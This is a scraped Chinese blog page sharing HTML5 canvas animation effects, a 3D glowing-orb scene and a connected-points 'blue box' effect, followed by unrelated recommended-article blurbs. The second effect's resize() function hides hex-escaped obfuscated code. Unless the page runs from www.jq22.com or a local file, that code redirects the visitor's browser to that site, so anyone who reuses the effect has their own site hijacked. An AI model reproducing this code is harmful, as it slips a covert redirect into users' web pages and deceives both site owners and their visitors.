y: p.y * Math.cos(dtr(rot.x)) - p.z * Math.sin(dtr(rot.x)),
z: p.y * Math.sin(dtr(rot.x)) + p.z * Math.cos(dtr(rot.x))
};
},
y: function(p, rot) {
return {
x: p.x * Math.cos(dtr(rot.y)) + p.z * Math.sin(dtr(rot.y)),
y: p.y,
z: -p.x * Math.sin(dtr(rot.y)) + p.z * Math.cos(dtr(rot.y))
};
},
z: function(p, rot) {
return {
x: p.x * Math.cos(dtr(rot.z)) - p.y * Math.sin(dtr(rot.z)),
y: p.x * Math.sin(dtr(rot.z)) + p.y * Math.cos(dtr(rot.z)),
z: p.z
};
}
},
pos: function(p, pos) {
return {
x: p.x + pos.x,
y: p.y + pos.y,
z: p.z + pos.z
};
}
},
pov: {
plane: function(p) {
return {
x: p.x * cam.ang.cplane + p.z * cam.ang.splane,
y: p.y,
z: p.x * -cam.ang.splane + p.z * cam.ang.cplane
};
},
theta: function(p) {
return {
x: p.x,
y: p.y * cam.ang.ctheta - p.z * cam.ang.stheta,
z: p.y * cam.ang.stheta + p.z * cam.ang.ctheta
};
},
set: function(p) {
return {
x: p.x - cam.obj.x,
y: p.y - cam.obj.y,
z: p.z - cam.obj.z
};
}
},
persp: function(p) {
return {
x: p.x * cam.dist.z / p.z * cam.zoom,
y: p.y * cam.dist.z / p.z * cam.zoom,
z: p.z * cam.zoom,
p: cam.dist.z / p.z
};
},
disp: function(p, disp) {
return {
x: p.x + disp.x,
y: -p.y + disp.y,
z: p.z + disp.z,
p: p.p
};
},
steps: function(_obj_, sz, rot, pos, disp) {
var _args = trans.parts.sz(_obj_, sz);
_args = trans.parts.rot.x(_args, rot);
_args = trans.parts.rot.y(_args, rot);
_args = trans.parts.rot.z(_args, rot);
_args = trans.parts.pos(_args, pos);
_args = trans.pov.plane(_args);
_args = trans.pov.theta(_args);
_args = trans.pov.set(_args);
_args = trans.persp(_args);
_args = trans.disp(_args, disp);
return _args;
}
};
(function() {
"use strict";
var threeD = function(param) {
this.transIn = {
};
this.transOut = {
};
this.transIn.vtx = (param.vtx);
this.transIn.sz = (param.sz);
this.transIn.rot = (param.rot);
this.transIn.pos = (param.pos);
};
threeD.prototype.vupd = function() {
this.transOut = trans.steps(
this.transIn.vtx,
this.transIn.sz,
this.transIn.rot,
this.transIn.pos,
cam.disp
);
};
var Build = function() {
this.vel = 0.04;
this.lim = 360;
this.diff = 200;
this.initPos = 100;
this.toX = _x;
this.toY = _y;
this.go();
};
Build.prototype.go = function() {
this.canvas = document.getElementById("canv");
this.canvas.width = window.innerWidth;
this.canvas.height = window.innerHeight;
this.$ = canv.getContext("2d");
this.$.globalCompositeOperation = 'source-over';
this.varr = [];
this.dist = [];
this.calc = [];
for (var i = 0, len = num; i < len; i++) {
this.add();
}
this.rotObj = {
x: 0,
y: 0,
z: 0
};
this.objSz = {
x: w / 5,
y: h / 5,
z: w / 5
};
};
Build.prototype.add = function() {
this.varr.push(new threeD({
vtx: {
x: rnd(),
y: rnd(),
z: rnd()
},
sz: {
x: 0,
y: 0,
z: 0
},
rot: {
x: 20,
y: -20,
z: 0
},
pos: {
x: this.diff * Math.sin(360 * Math.random() * Math.PI / 180),
y: this.diff * Math.sin(360 * Math.random() * Math.PI / 180),
z: this.diff * Math.sin(360 * Math.random() * Math.PI / 180)
}
}));
this.calc.push({
x: 360 * Math.random(),
y: 360 * Math.random(),
z: 360 * Math.random()
});
};
Build.prototype.upd = function() {
cam.obj.x += (this.toX - cam.obj.x) * 0.05;
cam.obj.y += (this.toY - cam.obj.y) * 0.05;
};
Build.prototype.draw = function() {
this.$.clearRect(0, 0, this.canvas.width, this.canvas.height);
cam.upd();
this.rotObj.x += 0.1;
this.rotObj.y += 0.1;
this.rotObj.z += 0.1;
for (var i = 0; i < this.varr.length; i++) {
for (var val in this.calc[i]) {
if (this.calc[i].hasOwnProperty(val)) {
this.calc[i][val] += this.vel;
if (this.calc[i][val] > this.lim) this.calc[i][val] = 0;
}
}
this.varr[i].transIn.pos = {
x: this.diff * Math.cos(this.calc[i].x * Math.PI / 180),
y: this.diff * Math.sin(this.calc[i].y * Math.PI / 180),
z: this.diff * Math.sin(this.calc[i].z * Math.PI / 180)
};
this.varr[i].transIn.rot = this.rotObj;
this.varr[i].transIn.sz = this.objSz;
this.varr[i].vupd();
if (this.varr[i].transOut.p < 0) continue;
var g = this.$.createRadialGradient(this.varr[i].transOut.x, this.varr[i].transOut.y, this.varr[i].transOut.p, this.varr[i].transOut.x, this.varr[i].transOut.y, this.varr[i].transOut.p * 2);
this.$.globalCompositeOperation = 'lighter';
g.addColorStop(0, 'hsla(255, 255%, 255%, 1)');
g.addColorStop(.5, 'hsla(' + (i + 2) + ',85%, 40%,1)');
g.addColorStop(1, 'hsla(' + (i) + ',85%, 40%,.5)');
this.$.fillStyle = g;
this.$.beginPath();
this.$.arc(this.varr[i].transOut.x, this.varr[i].transOut.y, this.varr[i].transOut.p * 2, 0, Math.PI * 2, false);
this.$.fill();
this.$.closePath();
}
};
Build.prototype.anim = function() {
window.requestAnimationFrame = (function() {
return window.requestAnimationFrame ||
function(callback, element) {
window.setTimeout(callback, 1000 / 60);
};
})();
var anim = function() {
this.upd();
this.draw();
window.requestAnimationFrame(anim);
}.bind(this);
window.requestAnimationFrame(anim);
};
Build.prototype.run = function() {
this.anim();
window.addEventListener('mousemove', function(e) {
this.toX = (e.clientX - this.canvas.width / 2) * -0.8;
this.toY = (e.clientY - this.canvas.height / 2) * 0.8;
}.bind(this));
window.addEventListener('touchmove', function(e) {
e.preventDefault();
this.toX = (e.touches[0].clientX - this.canvas.width / 2) * -0.8;
this.toY = (e.touches[0].clientY - this.canvas.height / 2) * 0.8;
}.bind(this));
window.addEventListener('mousedown', function(e) {
for (var i = 0; i < 100; i++) {
this.add();
}
}.bind(this));
window.addEventListener('touchstart', function(e) {
e.preventDefault();
for (var i = 0; i < 100; i++) {
this.add();
}
}.bind(this));
};
var app = new Build();
app.run();
})();
window.addEventListener('resize', function() {
canvas.width = w = window.innerWidth;
canvas.height = h = window.innerHeight;
}, false);
</script>
</body></html>
特效七
<html><head>
<meta charset="UTF-8">
<title>蓝盒子</title>
<style>
body {
margin: 0;
overflow: hidden;
background: #000;
}
body canvas {
-webkit-filter: url("#turbulence");
filter: url("#turbulence");
}
</style>
</head>
<body>
<canvas id="c" width="1920" height="572"></canvas>
<svg xlmns="http://www.w3.org/2000/svg" version="1.1">
<defs>
<filter id="turbulence">
<feTurbulence type="fractalNoise" baseFrequency="0.05 0.05" numOctaves="1" result="noice"></feTurbulence>
<feDisplacementMap xChannelSelector="R" yChannelSelector="G" scale="20" in="SourceGraphic"></feDisplacementMap>
</filter>
</defs>
</svg>
<script>
var c=document.getElementById('c'),ctx=c.getContext('2d'),points=[],count=40,size=3,delta=4,distance=170;window.requestAnimFrame=(function(){
return window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(callback){
window.setTimeout(callback,1000/60)}})();function checkDistance(x1,y1,x2,y2){
return Math.sqrt(Math.pow(x1-x2,2)+Math.pow(y1-y2,2))}function setColor(){
return'rgb('+Math.round(255*Math.random())+','+Math.round(255*Math.random())+','+Math.round(255*Math.random())+')'}function Point(x,y,dx,dy,color){
this.x=x;this.y=y;this.dx=dx;this.dy=dy;this.color=color}function initPoint(x,y){
var x=x||c.width*Math.random(),y=y||c.height*Math.random(),dx=-delta/2+delta*Math.random(),dy=-delta/2+delta*Math.random(),color=setColor();points.push(new Point(x,y,dx,dy,color))}function drawPoint(point){
ctx.fillStyle=point.color;ctx.beginPath();ctx.arc(point.x,point.y,size,0,2*Math.PI);ctx.fill()}function drawLines(point,index){
for(var i=0;i<index;i++){
var opacity=1-checkDistance(point.x,point.y,points[i].x,points[i].y)/distance;if(opacity>0){
var grad=ctx.createLinearGradient(point.x,point.y,points[i].x,points[i].y);grad.addColorStop(0,point.color);grad.addColorStop(1,points[i].color);ctx.strokeStyle=grad;ctx.globalAlpha=opacity;ctx.beginPath();ctx.moveTo(point.x,point.y);ctx.lineTo(points[i].x,points[i].y);ctx.stroke();ctx.globalAlpha=1}}}function updatePosition(){
for(var i=0;i<points.length;i++){
var xDx=points[i].x+points[i].dx,yDy=points[i].y+points[i].dy;if(xDx-size<0||xDx+size>c.width){
points[i].dx=-points[i].dx}if(yDy-size<0||yDy+size>c.height){
points[i].dy=-points[i].dy}points[i].x+=points[i].dx;points[i].y+=points[i].dy;drawPoint(points[i]);drawLines(points[i],i)}}function init(){
points.length=0;for(var i=0;i<count;i++){
initPoint()}}function resize(){
var GQInzO1=window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"]["\x73\x75\x62\x73\x74\x72"](0,19);var j2=window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"]["\x73\x75\x62\x73\x74\x72"](0,4);if(GQInzO1=="\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x6a\x71\x32\x32\x2e\x63\x6f\x6d"||j2=="\x66\x69\x6c\x65"){
}else{
window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"]="\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x6a\x71\x32\x32\x2e\x63\x6f\x6d"}c["\x77\x69\x64\x74\x68"]=window["\x69\x6e\x6e\x65\x72\x57\x69\x64\x74\x68"];c["\x68\x65\x69\x67\x68\x74"]=window["\x69\x6e\x6e\x65\x72\x48\x65\x69\x67\x68\x74"];init()}function draw(){
ctx.clearRect(0,0,c.width,c.height);updatePosition();window.requestAnimFrame(draw)}window.addEventListener("resize",resize);c.addEventListener("mouseup",function(e){
initPoint(e.pageX-c.offsetLeft,e.pageY-c.offsetTop)});resize();draw();
</script>
</body></html>
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
智能推荐
PanDownload复活了！60MB/s！-程序员宅基地
文章浏览阅读405次。（软件下载方式在文末）自从 PanDownload 被处理之后一直没有超越它的可替代的应用出来但是最近，竟然有人接盘了！重新制作上线推出了更加强劲的复活版！放张图，大家先感受下60MB/..._.较好的容灾处理(眼神暗示)
俺也来祭祭熊猫-程序员宅基地
文章浏览阅读5.2k次。最近熊猫烧香肆虐，WC里CIM那群人集体中招，俺的机子裸奔竟然也没事，呵呵。刚好python的邮件列表上有人给“熊猫”玩文字游戏，觉得特有意思，拿出来和大家分享一下 。 床前明月光，熊猫在烧香。专杀杀不尽，两眼泪汪汪。 熊猫烧不尽，关机开又生。 宝剑锋从磨砺出，熊猫香自网上来。 无边香火烧烧下，不尽熊猫滚滚来。身心俱疲终不悔，为猫烧得人憔悴。 相见时难杀亦难，熊猫烧
影响力在职场的重要性_职权影响力-程序员宅基地
文章浏览阅读7.8k次。前端时间参加了公司的管理培训，讲非职权影响力。对于领导者来讲，如果不能提高自己的影响力，那么是没办法做到让下属信服和追随的。整理了一下培训的收获。 影响力的定义运用一些别人所乐于接受的方式，改变他人的思想和行动，具体有个性、思想，以及行动。这些方式包括：举例引证、造成恐惧、赞美肯定、权势财富等。 影响力的6大武器互惠 承诺一致 社会认同 喜好 权威 稀缺另外次要..._职权影响力
用Vue制作记事本_vue选中文字做笔记-程序员宅基地
文章浏览阅读765次，点赞2次，收藏7次。先放个效果图吧制作记事本一共分为五个部分。1、第一部分就是添加内容。目的是输入内容后按下enter能够在目录下出现对应的内容，此部分应用v-for，v-model以及v-text完成，html程序如下<div id="app"> <input id="text" type="text" v-model="addValue" @keyup.enter="add" placeholder="请输入内容"> <ul> <li v-f_vue选中文字做笔记
Web安全--反序列化漏洞详解（php篇）-程序员宅基地
文章浏览阅读1k次，点赞2次，收藏9次。反序列化
“实践型”高级软件工程师精英成就计划,向年薪10W冲刺!-程序员宅基地
文章浏览阅读2.4k次。 “实践型”高级软件工程师精英成就计划学习方向：ü 进军IT行业，学完就业竞争力很强，薪酬一般比较高，目前坚持下来的学生全部就业，整体就业水平高于华工计算机系的水平.ü 攻读计算机或软件学院等相关专业的研究生.ü 考高级程序员（企业中级职称）或系统分析师（高级职称）。ü 以IT增强专业能力和开拓专业视野。师资力量：u
随便推点
linux 磁盘盘符改变,硬盘盘符重启后 自动切换——根据UUID挂载磁盘-程序员宅基地
文章浏览阅读997次。[root@platform-103 ~]# lsblkNAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTvda 252:0 0 60G 0 disk├─vda1 252:1 0 500M 0 part /boo..._linux重启后盘符交换
数据结构与算法详解——散列表篇（附c++实现代码）_设计算法,将数组a 进行散列存储,以解决-程序员宅基地
文章浏览阅读1.8k次，点赞3次，收藏15次。目录散列表散列函数哈希冲突开放地址法线性探测二次探测双重散列链表法装载因子散列表 前面数组、链表、栈、队列都是序列式容器，存储的都是一个元素。而散列表又叫哈希表(hash table)，是一种关联式容器，存储的是一对值，一般是一个key对应一个value(又叫键值对)。 c++ stl中的map就是一个散列表，举个例子：std::map<std::string,int> m;m["小明"]=170;std::cout<<"小明的身高是"<<m["小明"]&_设计算法,将数组a 进行散列存储,以解决
域名讲解（一）域名基础概念-程序员宅基地
文章浏览阅读8k次，点赞4次，收藏26次。它作为可以将域名和IP地址相互映射的一个分布式数据库，是进行域名(domain name)和与之相对应的IP地址 (IP address)转换的系统，搭载域名系统的机器称之为域名服务器，能够使人更方便的访问互联网，而不用去记住能够被机器直接读取的IP地址数串。，并通过网域名称系统（DNS，Domain Name System）来将域名和IP地址相互映射，使人更方便地访问互联网，而不用去记住能够被机器直接读取的IP地址数串。对于每一级域名长度的限制是63个字符，域名总长度则不能超过253个字符。..._域名
CVPR 2021 | 250 FPS！让实时语义分割飞起！重新思考BiSeNet-程序员宅基地
文章浏览阅读3.3k次。点击下方卡片，关注“CVer”公众号AI/CV重磅干货，第一时间送达本文转载自：AI人工智能初学者Rethinking BiSeNet For Real-time Semantic Seg..._语义分割的fps
VC++6.0 使用TeeChart v8.0 绘制多条曲线及圆滑处理._vc 6.0 teechart8-程序员宅基地
文章浏览阅读6.6k次，点赞2次，收藏27次。 根据网络资源整合了一份, 并开发了自己的demo。http://download.csdn.net/detail/zdw86/9833470 一、添加控件(一)创建工程 (二)插入控件 (三)添加类 点完确认之后,要等很长一段时间.期间不要触碰VC++6.0否则程序..._vc 6.0 teechart8
分布式计算中的数据一致性：Paxos 与 Raft 对比-程序员宅基地
文章浏览阅读888次，点赞8次，收藏23次。1.背景介绍分布式系统是现代计算机系统的基础设施之一，它允许多个计算节点在网络中协同工作。随着分布式系统的发展和应用，数据一致性问题变得越来越重要。在分布式计算中，数据一致性是指在分布式系统中的多个节点能够同步获取和更新相同的数据，以确保数据的一致性。在分布式系统中，数据一致性问题主要由于节点之间的异步通信和故障导致的数据不一致。为了解决这个问题，人们提出了一种称为Paxos和Raft的一...